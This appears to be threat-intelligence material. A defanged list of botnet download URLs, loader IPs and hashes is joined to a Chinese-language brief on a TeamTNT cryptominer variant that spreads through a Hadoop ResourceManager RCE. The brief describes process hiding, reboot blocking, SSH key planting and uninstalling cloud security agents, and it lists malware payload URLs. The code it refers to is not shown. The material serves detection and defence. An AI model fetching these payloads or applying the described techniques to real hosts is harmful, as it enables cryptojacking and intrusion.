http://205.185[.126.254/bins/exxsdee.arm7
http://205.185[.126.254/bins/exxsdee.i586
http://205.185[.126.254/ssh.sh
http://205.185[.126.254:80/bins/crsfi.arm
http://205.185[.126.254:80/bins/exxsdee.arm
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254/korpze.sh
http://205.185[.126.254/sv.sh
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254///exxsdee.mpsl
http://monke[.tw/armz.sh
http://monke[.tw/u




Loader IP


23.94.22.111    AS36352|ColoCrossing    United_States|New_York|Buffalo
205.185.125.92  AS53667|FranTech_Solutions  United_States|Nevada|Las_Vegas
143.198.99.95   AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
23.95.9.192     AS36352|ColoCrossing    United_States|New_York|Buffalo
199.19.224.153  AS53667|FranTech_Solutions  United_States|Nevada|Las_Vegas
143.198.48.62   AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
69.55.62.38     AS14061|DigitalOcean,_LLC   United_States|New_York|New_York_City
199.19.225.131  AS53667|FranTech_Solutions  United_States|Nevada|Las_Vegas
107.172.0.156   AS36352|ColoCrossing    United_States|Texas|Dallas




Sample MD5


4bc46deb5372d11a2600377931db71c8
0205f44954c45fb24251087635c53296
0e86f26659eb6a32a09e82e42ee5d720
3155dd24f5377de6f43ff06981a6bbf2
3255a45b2ebe187c429fd088508db6b0
3484b80b33ee8d53336090d91ad31a6b
769bc673d858b063265d331ed226464f
8de9de4e14117e3ce4dfa60dacd673ef
9cb73e83b48062432871539b3f625a21
d209fe7d62f517de8b1cf1a5697e67c2
e84a59bb18afff664e887744d8afebd0
威胁快讯：TeamTNT新变种通过ELF打包bash脚本，正通过Hadoop ResourceManager RCE 传播

TeamTNT是一个比较活跃的挖矿家族，曾被腾讯和PAN等国内外安全厂商多次分析[1][2]，我们的BotMon系统也曾多次捕获。以往经验显示，TeamTNT家族喜欢使用新技术，比如名为EzuriCrypter的加密壳就是首次在TeamTNT样本中被检测到。近期，我们的Anglerfish蜜罐再次捕获到TeamTNT的新变种，使用了如下新技术和工具：


 1. 通过ELF文件包装入口bash脚本。
 2. 集成了一个新的Go编写的扫描器。


从功能角度看，新变种和5月份曝光的版本 相比并没有大的变化，只是在个别功能上做了一些有意思的调整。



Exploit


本轮传播使用了已知漏洞 Hadoop_ResourceManager_apps_RCE。



入口脚本分析


跟以往攻击相同，漏洞利用成功后会植入一个名为i.sh的入口脚本，内容如下：


能看出这段脚本会从RT_URL变量中解码出主模块的URL hxxp://oracle.htxreceive.top/s3f715/i.jpg，然后下载并执行。



ELF打包的主模块分析


主模块为一个ELF文件，代码看上去非常简单：


上述代码只是释放并执行一个名为i-r.sh的脚本文件，所有的功能逻辑其实都在脚本中完成，所以主模块其实只是一个ELF打包的bash脚本。这是我们首次观察到TeamTNT家族使用该技术。


通过分析i-r.sh文件，可以很容易的找到TeamTNT的标志信息，将其和TeamTNT关联起来。


i-r.sh文件包含如下几个函数：


结合具体代码，i-r.sh的主要功能总结如下：


 * 杀死其它矿机程序，
 * 杀死可疑程序，
 * 锁定（文件不能删除，不能更改，不能移动）了部分系统文件，
 * 恢复了DNS为8.8.8.8和8.8.4.4
 * 锁定了cron相关的文件
 * SecureTheSystem() - 修改ps, top, pstree三个工具，通过过滤关键字串apache2/[httpd]|na/httpd|cmrypto隐藏其它模块和工具。
 * LockDownTheSystem() – 锁定了shutdown, reboot, poweroff, telinit等控制系统重启的工具，禁止系统重启。
 * KILLMININGSERVICES() – 卸载旧矿机。
 * 添加ssh公钥帐号。
 * 卸载阿里云和腾讯云安全防护工具。


对照之前曝光过的脚本代码发现主体功能基本一致，只是在扫描部分有些调整。


主模块用到的矿机程序和扫描器如下所示：


XMRig - 
    (主)hxxp://oracle.htxreceive.top/s3f715/s/avg.tar.gz
    (备)https://github.com/xmrig/xmrig/releases/download/v6.13.0/xmrig-6.13.0-linux-static-x64.tar.gz

masscan – 
    (主)hxxp://oracle.htxreceive.top/s3f715/s/m.tar.gz
    (备)hxxps://github.com/robertdavidgraham/masscan/archive/refs/tags/1.3.0.tar.gz

lisa.scanner - 
    hxxp://oracle.htxreceive.top/s3f715/s/htx-i.${ARCH}



其中，XMRig和masscan之前已经多次见到，但lisa.scanner却是一个首次见到的扫描器，它的开发语言为Go，支持 Postgres、 Reids和 ssh 三种服务的爆破扫描。


扫描器启动后会创建几个.db文件来保存扫描结果。


扫描过程的日志会保存在.log文件中。





IoC



MD5


7153415b8f26390677b2285fdcfcd5ca
60b55e7087d0316d7c886db30cdf0a02
65e0144f02992578feaec652f18a5d4b
b023e29f8e1a4902d463820009aabc9d
9f719395ca35d4dd2fb0dd7cd508b51b
dfdf7e8fb465765e5dd372c4e0b2aad7
4616e44f236263a0c085b14a5009a7e6
7153415b8f26390677b2285fdcfcd5ca
60b55e7087d0316d7c886db30cdf0a02
65e0144f02992578feaec652f18a5d4b
b023e29f8e1a4902d463820009aabc9d
9f719395ca35d4dd2fb0dd7cd508b51b
dfdf7e8fb465765e5dd372c4e0b2aad7
4616e44f236263a0c085b14a5009a7e6




URL


http://oracle.htxreceive.top/s3f715/i.jpg   
http://oracle.htxreceive.top/s3f715/s/avg.tar.gz    
http://oracle.htxreceive.top/s3f715/i.sh    
http://oracle.htxreceive.top/s3f715/s/htx-i.x86_64  
http://oracle.htxreceive.top/s3f715/s/htx-i.i386    
http://oracle.htxreceive.top/s3f715/s/htx-i.i686    
http://oracle.htxreceive.top/s3f715/s/m.tar.gz